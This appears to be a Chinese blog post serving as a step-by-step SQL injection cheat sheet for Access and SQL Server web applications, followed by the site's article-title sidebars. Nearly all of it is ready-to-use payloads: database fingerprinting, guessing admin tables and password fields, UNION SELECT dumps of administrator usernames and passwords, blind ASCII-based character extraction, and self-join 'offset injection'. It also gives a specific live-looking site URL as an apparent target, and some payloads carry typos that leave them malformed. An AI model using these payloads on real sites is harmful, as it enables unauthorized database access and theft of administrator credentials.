1.判断数据类型

and exists (select * from msysobjects) >0

and exists (select * from sysobjects) >0

一般情况下,Microsoft Access的系统表是msysobjects,默认状态下用户没有访问权限,而Microsoft SQL Server的系统表是sysobjects,默认状态下用户是有访问权限的。
 
若数据库是Microsoft SQL Server,且没有进行参数的过滤,则运行第一个语句后,显示的页面是正常的,第二条语句的结果是异常的;若数据库是Microsoft Access,那么两个链接得到的页面都是异常的。

2.数据库表

and exists (select * from admin)

判断是否存在admin表

3.猜用户、密码字段

and exists (select password from admin)

and exists (select admin from admin)

网页正常即存在,一般密码会采用adminpass,passowrd等字段

4.检测字段长度

order by 20        依次测试

网页正常即存在

5.union select 暴管理用户、密码

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin
因为有30个字段的长度,所以这样来暴管理和密码。

返回3、5。
我们再改下查询语句
把用户和密码显示出来

union select 1,2,username,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin
OK,用户和密码出来了

6.判断密码长度

and (select len(admin) form admin)>6

返回正常说明管理员账户的长度大于6

and (select len(admin) form admin)=7

返回正常说明管理员账户的长度等于7

and (select len(passwd) form admin)>6

and (select len(passwd) form admin)=7

7.通过ascii码判断

第1字符

and (select top 1 asc(mid(admin,1,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(admin,1,1)) from admin)>50

返回正常说明大于

and (select top 1 asc(mid(admin,1,1)) from admin)=97

返回正常说明等于97对应的字母a

第2字符

and (select top 1 asc(mid(admin,2,1)) from admin)>100

返回正常说明大于,不正常说明不大于

第3字符

and (select top 1 asc(mid(admin,3,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(passwd,1,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(passwd,2,1)) from admin)>100

返回正常说明大于,不正常说明不大于

and (select top 1 asc(mid(passwd,3,1)) from admin)>100

返回正常说明大于,不正常说明不大于

http://www.jnqtly.cn/cp11.asp?id=1129

8.偏移注入

偏移注入原理:
1.Union合并查询需要列相等,顺序一样;
2.select * from admin as a inner join admin as b on a.id=b.id 这句话 就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。
3. *代表了所有字段,如你查admin表,他有几个字段,那么*就代表几个字段
举个例子:admin有5列,那么union select 1,2,3,* from admin如果返回正常,就代表注入的表有8列

大致的语句如下
and 1=2 union select * from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,3,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,3,*-1,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,a.id,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,a.id,b.id,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select *from( from (users as a inner join users as b on a.id=b.id )
and 1=2 union select * from ((select * from admin) as a inner join (select * from admin) as b on a.id=b.id) inner join (select id from admin) as c on c.id=a.id

最新文章

  1. 点击页面判断是否安装app并打开,否则跳转app store的方法
  2. 关于 K米 —— 的案例分析
  3. sublime简书安装配置
  4. sdutoj 2608 Alice and Bob
  5. SQL SERVER 生成ORACLE建表脚本
  6. SDOI2016 round1滚粗记
  7. Lambda表达式的本质是匿名函数
  8. android 使用intent传递参数实现乘法计算
  9. Linux&shell 之基本Shell命令
  10. 基于Hadoop的大数据平台实施记——整体架构设计[转]
  11. compass模块----Utilities----Sprites精灵图合图
  12. 2.1 IDEA
  13. CentOS7给终端配置快捷键【转发】
  14. Spring EnableWebMvc vs WebMvcConfigurationSupport
  15. 关于浏览器兼容问题——还有移动端meta问题
  16. PAT A1099 Build A Binary Search Tree (30 分)——二叉搜索树,中序遍历,层序遍历
  17. VUE 打包后关于 -webkit-box-orient: vertical; 消失,导致多行溢出不管用问题
  18. CentOS安装Docker CE
  19. CentOS 7 时间, 日期设置 (含时间同步)
  20. 实现qq登录

热门文章

  1. java视频格式转换代码
  2. python3.x随手笔记1
  3. 也谈谈 Redis 和 Memcached 的区别
  4. HDU-----(1083)Courses(最大匹配)
  5. Mybatis 实用
  6. OC 实例方法和类方法区别
  7. Java 集合系列 14 hashCode
  8. Linux中Matlab保存多个数据到同一个文件当中
  9. 转载:Javascript作用域原理
  10. TaskTracker节点上的内存管理器